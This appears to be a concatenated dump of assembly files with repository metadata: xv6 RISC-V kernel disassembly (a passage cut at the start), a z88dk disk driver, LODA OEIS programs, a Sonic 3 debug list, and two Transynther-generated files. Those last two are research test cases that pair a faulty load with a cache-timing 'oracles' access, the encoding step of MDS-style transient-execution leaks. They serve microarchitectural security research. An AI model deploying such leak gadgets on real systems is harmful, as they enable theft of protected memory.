6898 ld a4,16(s1) 80006794: 0204d783 lhu a5,32(s1) 80006798: 8b9d andi a5,a5,7 8000679a: 078e slli a5,a5,0x3 8000679c: 97ba add a5,a5,a4 8000679e: 43dc lw a5,4(a5) if(disk.info[id].status != 0) 800067a0: 20078713 addi a4,a5,512 800067a4: 0712 slli a4,a4,0x4 800067a6: 974a add a4,a4,s2 800067a8: 03074703 lbu a4,48(a4) # 10001030 <_entry-0x6fffefd0> 800067ac: e731 bnez a4,800067f8 <virtio_disk_intr+0xba> panic("virtio_disk_intr status"); struct buf *b = disk.info[id].b; 800067ae: 20078793 addi a5,a5,512 800067b2: 0792 slli a5,a5,0x4 800067b4: 97ca add a5,a5,s2 800067b6: 7788 ld a0,40(a5) b->disk = 0; // disk is done with buf 800067b8: 00052223 sw zero,4(a0) wakeup(b); 800067bc: ffffc097 auipc ra,0xffffc 800067c0: b96080e7 jalr -1130(ra) # 80002352 <wakeup> disk.used_idx += 1; 800067c4: 0204d783 lhu a5,32(s1) 800067c8: 2785 addiw a5,a5,1 800067ca: 17c2 slli a5,a5,0x30 800067cc: 93c1 srli a5,a5,0x30 800067ce: 02f49023 sh a5,32(s1) while(disk.used_idx != disk.used->idx){ 800067d2: 6898 ld a4,16(s1) 800067d4: 00275703 lhu a4,2(a4) 800067d8: faf71be3 bne a4,a5,8000678e <virtio_disk_intr+0x50> } release(&disk.vdisk_lock); 800067dc: 0001f517 auipc a0,0x1f 800067e0: 94c50513 addi a0,a0,-1716 # 80025128 <disk+0x2128> 800067e4: ffffa097 auipc ra,0xffffa 800067e8: 492080e7 jalr 1170(ra) # 80000c76 <release> } 800067ec: 60e2 ld ra,24(sp) 800067ee: 6442 ld s0,16(sp) 800067f0: 64a2 ld s1,8(sp) 800067f2: 6902 ld s2,0(sp) 800067f4: 6105 addi sp,sp,32 800067f6: 8082 ret panic("virtio_disk_intr status"); 800067f8: 00002517 auipc a0,0x2 800067fc: 23050513 addi a0,a0,560 # 80008a28 <syscalls+0x3f8> 80006800: ffffa097 auipc ra,0xffffa 80006804: d2a080e7 jalr -726(ra) # 8000052a <panic> ... 0000000080007000 <_trampoline>: 80007000: 14051573 csrrw a0,sscratch,a0 80007004: 02153423 sd ra,40(a0) 80007008: 02253823 sd sp,48(a0) 8000700c: 02353c23 sd gp,56(a0) 80007010: 04453023 sd tp,64(a0) 80007014: 04553423 sd t0,72(a0) 80007018: 04653823 sd t1,80(a0) 8000701c: 04753c23 sd t2,88(a0) 80007020: f120 sd s0,96(a0) 80007022: f524 sd s1,104(a0) 80007024: fd2c sd a1,120(a0) 80007026: e150 sd a2,128(a0) 80007028: e554 sd a3,136(a0) 8000702a: e958 sd a4,144(a0) 8000702c: ed5c sd a5,152(a0) 8000702e: 0b053023 sd a6,160(a0) 80007032: 0b153423 sd a7,168(a0) 80007036: 0b253823 sd s2,176(a0) 8000703a: 0b353c23 sd s3,184(a0) 8000703e: 0d453023 sd s4,192(a0) 80007042: 0d553423 sd s5,200(a0) 80007046: 0d653823 sd s6,208(a0) 8000704a: 0d753c23 sd s7,216(a0) 8000704e: 0f853023 sd s8,224(a0) 80007052: 0f953423 sd s9,232(a0) 80007056: 0fa53823 sd s10,240(a0) 8000705a: 0fb53c23 sd s11,248(a0) 8000705e: 11c53023 sd t3,256(a0) 80007062: 11d53423 sd t4,264(a0) 80007066: 11e53823 sd t5,272(a0) 8000706a: 11f53c23 sd t6,280(a0) 8000706e: 140022f3 csrr t0,sscratch 80007072: 06553823 sd t0,112(a0) 80007076: 00853103 ld sp,8(a0) 8000707a: 02053203 ld tp,32(a0) 8000707e: 01053283 ld t0,16(a0) 80007082: 00053303 ld t1,0(a0) 80007086: 18031073 csrw satp,t1 8000708a: 12000073 sfence.vma 8000708e: 8282 jr t0 0000000080007090 <userret>: 80007090: 18059073 csrw satp,a1 80007094: 12000073 sfence.vma 80007098: 07053283 ld t0,112(a0) 8000709c: 14029073 csrw sscratch,t0 800070a0: 02853083 ld ra,40(a0) 800070a4: 03053103 ld sp,48(a0) 800070a8: 03853183 ld gp,56(a0) 800070ac: 04053203 ld tp,64(a0) 800070b0: 04853283 ld t0,72(a0) 800070b4: 05053303 ld t1,80(a0) 800070b8: 05853383 ld t2,88(a0) 800070bc: 7120 ld s0,96(a0) 800070be: 7524 ld s1,104(a0) 800070c0: 7d2c ld a1,120(a0) 800070c2: 6150 ld a2,128(a0) 800070c4: 6554 ld a3,136(a0) 800070c6: 6958 ld a4,144(a0) 800070c8: 6d5c ld a5,152(a0) 800070ca: 0a053803 ld a6,160(a0) 800070ce: 0a853883 ld a7,168(a0) 800070d2: 0b053903 ld s2,176(a0) 800070d6: 0b853983 ld s3,184(a0) 800070da: 0c053a03 ld s4,192(a0) 800070de: 0c853a83 ld s5,200(a0) 800070e2: 0d053b03 ld s6,208(a0) 800070e6: 0d853b83 ld s7,216(a0) 800070ea: 0e053c03 ld s8,224(a0) 800070ee: 0e853c83 ld s9,232(a0) 800070f2: 0f053d03 ld s10,240(a0) 800070f6: 0f853d83 ld s11,248(a0) 800070fa: 10053e03 ld t3,256(a0) 800070fe: 10853e83 ld t4,264(a0) 80007102: 11053f03 ld t5,272(a0) 80007106: 11853f83 ld t6,280(a0) 8000710a: 14051573 csrrw a0,sscratch,a0 8000710e: 10200073 sret ...
42.259558
128
0.519454
f0eda9d7c9f75a3a1410e11cc9367805680d221e
660
asm
Assembly
libsrc/_DEVELOPMENT/target/yaz180/driver/diskio/z180/asm_disk_status.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/target/yaz180/driver/diskio/z180/asm_disk_status.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/target/yaz180/driver/diskio/z180/asm_disk_status.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
SECTION code_driver PUBLIC asm_disk_status ;------------------------------------------------------------------------------ ; Routines that talk with the IDE drive, these should be called from diskio.h ; extern DSTATUS disk_status (BYTE pdrv) __z88dk_fastcall; ; ; ; entry ; l = drive number, must be 0 ; ; exit ; hl = DSTATUS, set carry flag ; ; get the ide drive status asm_disk_status: push af xor a ; clear a or l ; check that that it is drive 0 jr nz, sta_nodisk ld hl, 0 ; set DSTATUS OK pop af scf ret sta_nodisk: ld hl, 2 ; set DSTATUS STA_NODISK pop af or a ret
18.333333
79
0.548485
9b388fd5c60399014ba8f0b91a431e1386ea4b3a
1,018
asm
Assembly
programs/oeis/313/A313201.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/313/A313201.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/313/A313201.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A313201: Coordination sequence Gal.5.115.2 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings. ; 1,4,9,15,19,23,27,33,38,42,46,51,57,61,65,69,75,80,84,88,93,99,103,107,111,117,122,126,130,135,141,145,149,153,159,164,168,172,177,183,187,191,195,201,206,210,214,219,225,229 mov $9,$0 mov $11,$0 add $11,1 lpb $11 mov $0,$9 sub $11,1 sub $0,$11 mov $5,$0 mov $7,2 lpb $7 clr $0,5 mov $0,$5 sub $7,1 add $0,$7 sub $0,1 mul $0,2 add $0,2 lpb $0 sub $0,2 mov $1,$0 add $2,6 cal $1,313799 ; Coordination sequence Gal.3.53.3 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings. mov $0,1 add $2,$1 lpe mov $1,$2 mov $8,$7 lpb $8 mov $6,$1 sub $8,1 lpe lpe lpb $5 mov $5,0 sub $6,$1 lpe mov $1,$6 sub $1,6 add $10,$1 lpe mov $1,$10
22.622222
187
0.588409
c73301281c664b0c4a210cfec990d154d328ce52
3,175
asm
Assembly
Working Disassembly/Levels/AIZ/Debug/Act 2.asm
TeamASM-Blur/Sonic-3-Blue-Balls-Edition
7e8a2c5df02271615ff4cae529521e6b1560d6b1
[ "Apache-2.0" ]
null
null
null
Working Disassembly/Levels/AIZ/Debug/Act 2.asm
TeamASM-Blur/Sonic-3-Blue-Balls-Edition
7e8a2c5df02271615ff4cae529521e6b1560d6b1
[ "Apache-2.0" ]
null
null
null
Working Disassembly/Levels/AIZ/Debug/Act 2.asm
TeamASM-Blur/Sonic-3-Blue-Balls-Edition
7e8a2c5df02271615ff4cae529521e6b1560d6b1
[ "Apache-2.0" ]
null
null
null
; Object Mappings Subtype Frame Arttile dbglistobj Obj_Ring, Map_Ring, 0, 0, make_art_tile($6BC,1,1) dbglistobj Obj_Monitor, Map_Monitor, 6, 0, make_art_tile($4C4,0,0) dbglistobj Obj_PathSwap, Map_PathSwap, 9, 1, make_art_tile($6BC,1,0) dbglistobj Obj_PathSwap, Map_PathSwap, $D, 5, make_art_tile($6BC,1,0) dbglistobj Obj_Spring, Map_Spring, $81, 0, make_art_tile($4A4,0,0) dbglistobj Obj_Spring, Map_Spring, $90, 3, make_art_tile($4B4,0,0) dbglistobj Obj_Spring, Map_Spring, $A0, 6, make_art_tile($4A4,0,0) dbglistobj Obj_Spikes, Map_Spikes, 0, 0, make_art_tile($49C,0,0) dbglistobj Obj_AIZLRZEMZRock, Map_AIZRock2, 4, 0, make_art_tile($2E9,2,0) dbglistobj Obj_AIZLRZEMZRock, Map_AIZRock2, $13, 1, make_art_tile($2E9,2,0) dbglistobj Obj_AIZLRZEMZRock, Map_AIZRock2, $23, 2, make_art_tile($2E9,2,0) dbglistobj Obj_CollapsingPlatform, Map_AIZCollapsingPlatform2, 0, 0, make_art_tile($001,2,0) dbglistobj Obj_BreakableWall, Map_AIZBreakableWall, 0, 0, make_art_tile($001,2,0) dbglistobj Obj_AIZDisappearingFloor, Map_AIZDisappearingFloor, 7, 5, make_art_tile($001,2,0) dbglistobj Obj_CorkFloor, Map_AIZCorkFloor2, 0, 0, make_art_tile($001,2,0) dbglistobj Obj_AIZFlippingBridge, Map_AIZFlippingBridge, $50, 5, make_art_tile($2E9,2,0) dbglistobj Obj_AIZCollapsingLogBridge, Map_AIZCollapsingLogBridge, 8, 0, make_art_tile($2E9,2,0) dbglistobj Obj_AIZFallingLog, Map_AIZFallingLog2, 7, 0, make_art_tile($2E9,2,0) dbglistobj Obj_AIZSpikedLog, Map_AIZSpikedLog, 0, 8, make_art_tile($2E9,2,0) dbglistobj Obj_StillSprite, Map_StillSprites, 0, 0, make_art_tile($2E9,2,0) dbglistobj Obj_StillSprite, Map_StillSprites, 1, 1, make_art_tile($2E9,2,0) dbglistobj Obj_StillSprite, Map_StillSprites, 2, 2, make_art_tile($2E9,2,0) dbglistobj Obj_StillSprite, Map_StillSprites, 3, 3, make_art_tile($001,2,0) dbglistobj Obj_StillSprite, Map_StillSprites, 4, 4, make_art_tile($001,3,0) dbglistobj Obj_AnimatedStillSprite, Map_AnimatedStillSprites, 0, 0, make_art_tile($2E9,3,0) dbglistobj Obj_AnimatedStillSprite, Map_AnimatedStillSprites, 1, 5, make_art_tile($2E9,3,0) dbglistobj Obj_AIZRideVine, Map_AIZMHZRideVine, $88, $21, make_art_tile($41B,0,0) dbglistobj Obj_AIZGiantRideVine, Map_AIZMHZRideVine, $F, $21, make_art_tile($41B,0,0) dbglistobj Obj_AIZDrawBridge, Map_AIZDrawBridge, 0, 1, make_art_tile($2E9,2,0) dbglistobj Obj_Button, Map_Button, $10, 2, make_art_tile($456,0,0) dbglistobj Obj_RhinoBot, Map_RhinoBot, 0, 0, make_art_tile($500,1,0) dbglistobj Obj_Tulipon, Map_Tulipon, 0, 0, make_art_tile($52A,1,0) dbglistobj Obj_MonkeyDude, Map_MonkeyDude, 0, 0, make_art_tile($548,1,0) dbglistobj Obj_CaterKillerJr, Map_CaterKillerJr, 0, 0, make_art_tile($55F,1,0) dbglistobj Obj_StarPost, Map_StarPost, 1, 0, make_art_tile($5EC,0,0) dbglistobj Obj_Bubbler, Map_Bubbler, $81, $13, make_art_tile($45C,0,1) dbglistobj Obj_FloatingPlatform, Map_AIZFloatingPlatform, $20, 0, make_art_tile($440,2,0)
81.410256
102
0.725669
2d45348587c403e15a8ceda6b1b59d013db33c91
563
asm
Assembly
oeis/133/A133431.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/133/A133431.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/133/A133431.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A133431: Old-fashioned version of A002504 (the initial 1 should be omitted since 1 is no longer regarded as a prime, although it was in 1912). ; Submitted by Jamie Morken(s3.) ; 1,2,3,4,5,7,10,11,12,14,15,18,24,25,26,28,29,31,33,35,38,39,42,43,46,49,50,53,56,59,63,64,67,68,75,81,82,87,89,91,92,94,96,106,109,120,124,126,129,130,137,141,143,148,154,157,158,159,165,166,171,172,173,176,180,185,186,187,192,194,196,197 lpb $0 sub $0,1 mov $1,$0 mov $0,0 max $1,0 seq $1,121259 ; Numbers n such that (3n^2+1)/4 is prime. lpe div $1,2 mov $0,$1 add $0,1
37.533333
240
0.680284
233218dda371d8dfa920ca89db7866bdb8854e2c
2,396
asm
Assembly
src/framework/vdp.asm
Scorpion-Illuminati/ControllerTest
c2c2edef9b14a8f6bee6eacda8f2d6335a49fe80
[ "Artistic-2.0" ]
1
2018-02-16T23:24:55.000Z
2018-02-16T23:24:55.000Z
src/framework/vdp.asm
Scorpion-Illuminati/ControllerTest
c2c2edef9b14a8f6bee6eacda8f2d6335a49fe80
[ "Artistic-2.0" ]
null
null
null
src/framework/vdp.asm
Scorpion-Illuminati/ControllerTest
c2c2edef9b14a8f6bee6eacda8f2d6335a49fe80
[ "Artistic-2.0" ]
null
null
null
;============================================================== ; BIG EVIL CORPORATION .co.uk ;============================================================== ; SEGA Genesis Framework (c) Matt Phillips 2014 ;============================================================== ; vdp.asm - VDP initialisation and control ;============================================================== InitVDP: ; Set VDP registers move.l #VDPRegisters, a0 ; Load address of register table into a0 move.l #(vdp_num_registers-1), d0 ; 24 registers to write (-1 for loop counter) move.l #vdp_write_register, d1 ; 'Set register 0' command @CopyVDP: move.b (a0)+, d1 ; Move register value to lower byte of d1 move.w d1, vdp_control ; Write command and value to VDP control port add.w #0x0100, d1 ; Increment register # dbra d0, @CopyVDP ; Clear VDP memory jsr ClearVRAM jsr ClearCRAM jsr ClearVSRAM rts ClearVRAM: move.w #0x8F01, vdp_control ; Set autoincrement to 1 byte move.w #0x93FF, vdp_control ; Set bytes to fill (lo) (reg 19) move.w #0x94FF, vdp_control ; Set bytes to fill (hi) (reg 20) move.w #0x9780, vdp_control ; Set DMA to Fill (reg 23, bits 0-1) move.l #0x40000080, vdp_control ; Set destination address move.w #0x0, vdp_data ; Value to write @WaitForDMA_vram: move.w vdp_control, d1 ; Read VDP status reg btst #0x1, d1 ; Check if DMA finished bne.s @WaitForDMA_vram rts ClearVSRAM: move.w #0x9350, vdp_control ; Set bytes to fill (lo) (reg 19) move.w #0x9400, vdp_control ; Set bytes to fill (hi) (reg 20) move.w #0x9780, vdp_control ; Set DMA to Fill (reg 23, bits 0-1) move.l #0x40000090, vdp_control ; Set destination address move.w #0x0, vdp_data ; Value to write @WaitForDMA_vsram: move.w vdp_control, d1 ; Read VDP status reg btst #0x1, d1 ; Check if DMA finished bne.s @WaitForDMA_vsram move.w #0x8F02, vdp_control ; Set autoincrement to 2 bytes move.w #0x8ADF, vdp_control ; Set H interrupt timing rts ClearCRAM: move.l #vdp_write_palettes, vdp_control ; Write to palette memory move.l #0x3F, d1 ; CRAM size (in words) @ClrCRAM: move.w #0x0, vdp_data ; Write 0 (autoincrement is 2) dbra d1, @ClrCRAM rts
33.277778
80
0.57429
adfaf97170a950ceaf7f80fc9b4780da5cfaa45c
523
nasm
Assembly
BootloaderCorePkg/Library/FspApiLib/X64/FspTempRamInit.nasm
kokweich/slimbootloader
6fd1141c75a33894e3a7937dbc55859e4a6dacae
[ "BSD-2-Clause-NetBSD", "PSF-2.0", "BSD-2-Clause", "Apache-2.0", "MIT", "BSD-2-Clause-Patent" ]
1
2022-03-18T08:47:53.000Z
2022-03-18T08:47:53.000Z
BootloaderCorePkg/Library/FspApiLib/X64/FspTempRamInit.nasm
kokweich/slimbootloader
6fd1141c75a33894e3a7937dbc55859e4a6dacae
[ "BSD-2-Clause-NetBSD", "PSF-2.0", "BSD-2-Clause", "Apache-2.0", "MIT", "BSD-2-Clause-Patent" ]
null
null
null
BootloaderCorePkg/Library/FspApiLib/X64/FspTempRamInit.nasm
kokweich/slimbootloader
6fd1141c75a33894e3a7937dbc55859e4a6dacae
[ "BSD-2-Clause-NetBSD", "PSF-2.0", "BSD-2-Clause", "Apache-2.0", "MIT", "BSD-2-Clause-Patent" ]
null
null
null
;------------------------------------------------------------------------------ ; ; Copyright (c) 2020, Intel Corporation. All rights reserved.<BR> ; SPDX-License-Identifier: BSD-2-Clause-Patent ; ; ; Module Name: ; ; FspTempRamInit.nasm ; ; Abstract: ; ; This is the code that will call into FSP TempRamInit API ; ;------------------------------------------------------------------------------ SECTION .text ; ; FspTampInit has been moved into VTF0 in x64 mode ; global ASM_PFX(DummyCode) ASM_PFX(DummyCode): ret
20.115385
79
0.497132
4ec1ac52f86e989a3e870752061ae6a0c9f7b072
2,770
asm
Assembly
Transynther/x86/_processed/NC/_zr_/i7-8650U_0xd2_notsx.log_515_1661.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NC/_zr_/i7-8650U_0xd2_notsx.log_515_1661.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NC/_zr_/i7-8650U_0xd2_notsx.log_515_1661.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r9 push %rdi push %rdx lea addresses_A_ht+0x14ea4, %r10 sub %r11, %r11 mov (%r10), %r9w nop nop nop nop nop and $19535, %rdx lea addresses_normal_ht+0xb81c, %rdi add %rdx, %rdx movw $0x6162, (%rdi) nop and $39559, %r10 pop %rdx pop %rdi pop %r9 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r12 push %r14 push %r8 push %r9 push %rbp push %rsi // Faulty Load mov $0x30258a000000061c, %r14 nop and $41666, %rsi mov (%r14), %bp lea oracles, %rsi and $0xff, %rbp shlq $12, %rbp mov (%rsi,%rbp,1), %rbp pop %rsi pop %rbp pop %r9 pop %r8 pop %r14 pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}} {'00': 515} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
41.343284
1,544
0.65704
78c031d594f767a7d301d3bfe0062504270aec9d
303
asm
Assembly
programs/oeis/063/A063093.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/063/A063093.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/063/A063093.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A063093: Dimension of the space of weight 2n cusp forms for Gamma_0( 25 ). ; 0,5,9,15,19,25,29,35,39,45,49,55,59,65,69,75,79,85,89,95,99,105,109,115,119,125,129,135,139,145,149,155,159,165,169,175,179,185,189,195,199,205,209,215,219,225,229,235,239,245 mov $1,$0 mod $0,2 mul $1,5 trn $1,1 add $1,$0
33.666667
177
0.686469
9306c59393d6134995c926d053f29f5ad4c6e7ae
7,483
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_st_sm_/i7-7700_9_0x48.log_21829_740.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_st_sm_/i7-7700_9_0x48.log_21829_740.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_st_sm_/i7-7700_9_0x48.log_21829_740.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r12 push %r14 push %rbp push %rcx push %rdi push %rsi lea addresses_A_ht+0x2e52, %r11 nop cmp $49002, %r14 movups (%r11), %xmm5 vpextrq $0, %xmm5, %rcx nop nop nop nop and %r12, %r12 lea addresses_normal_ht+0x178a2, %r12 nop add $63074, %rbp vmovups (%r12), %ymm3 vextracti128 $0, %ymm3, %xmm3 vpextrq $0, %xmm3, %rdi nop nop nop nop nop add %r12, %r12 lea addresses_WC_ht+0x5ea2, %rdi nop nop nop nop nop xor %r10, %r10 movw $0x6162, (%rdi) nop nop nop nop nop xor %r10, %r10 lea addresses_normal_ht+0x12118, %rsi lea addresses_D_ht+0xe888, %rdi nop inc %r10 mov $101, %rcx rep movsl nop nop nop add %r14, %r14 lea addresses_normal_ht+0x165e2, %rsi nop nop nop add %rdi, %rdi mov (%rsi), %r12d nop nop nop cmp $10359, %r11 lea addresses_WC_ht+0x110f2, %rdi nop nop nop nop dec %r11 mov (%rdi), %r14d nop nop nop nop nop dec %rsi lea addresses_WT_ht+0x8142, %r10 nop nop and $33342, %rsi movb (%r10), %r11b nop add $60585, %r10 lea addresses_UC_ht+0x9616, %rsi lea addresses_A_ht+0x26a1, %rdi nop add $326, %r12 mov $87, %rcx rep movsl nop nop nop nop nop sub %rbp, %rbp lea addresses_A_ht+0x1ee22, %r12 nop nop nop nop nop xor $8938, %r11 movl $0x61626364, (%r12) nop nop add %rdi, %rdi lea addresses_D_ht+0x10e2a, %r11 nop nop nop nop sub $39727, %r10 mov (%r11), %rbp xor $10870, %r12 pop %rsi pop %rdi pop %rcx pop %rbp pop %r14 pop %r12 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r13 push %r15 push %rax push %rbx push %rcx push %rdx push %rsi // Store lea addresses_WC+0xd2a2, %r13 nop sub %rsi, %rsi movl $0x51525354, (%r13) nop nop nop nop add $55308, %rcx // Store lea addresses_WC+0x6a0a, %r13 clflush (%r13) nop nop nop nop nop inc %r15 movb $0x51, (%r13) nop cmp $20244, %rcx // Store lea addresses_normal+0x1dea2, %rdx nop nop nop nop sub $35788, %rbx mov $0x5152535455565758, %r15 movq %r15, %xmm5 vmovups %ymm5, (%rdx) nop nop nop nop add %rdx, %rdx // Store lea addresses_US+0x6336, %rsi nop nop nop nop xor $29417, %rax mov $0x5152535455565758, %rdx movq %rdx, (%rsi) nop nop nop sub $17248, %r13 // Faulty Load lea addresses_normal+0x1dea2, %rdx nop nop nop nop and $9879, %r15 mov (%rdx), %rbx lea oracles, %r13 and $0xff, %rbx shlq $12, %rbx mov (%r13,%rbx,1), %rbx pop %rsi pop %rdx pop %rcx pop %rbx pop %rax pop %r15 pop %r13 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 10, 'size': 4, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 1, 'size': 1, 'same': False, 'NT': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': True, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 1, 'size': 8, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': True, 'NT': True}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 4, 'size': 16, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 6, 'size': 32, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 11, 'size': 2, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 1, 'same': True}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 6, 'size': 4, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 4, 'size': 4, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 5, 'size': 1, 'same': False, 'NT': True}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 7, 'size': 4, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 3, 'size': 8, 'same': False, 'NT': True}} {'58': 21829} 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 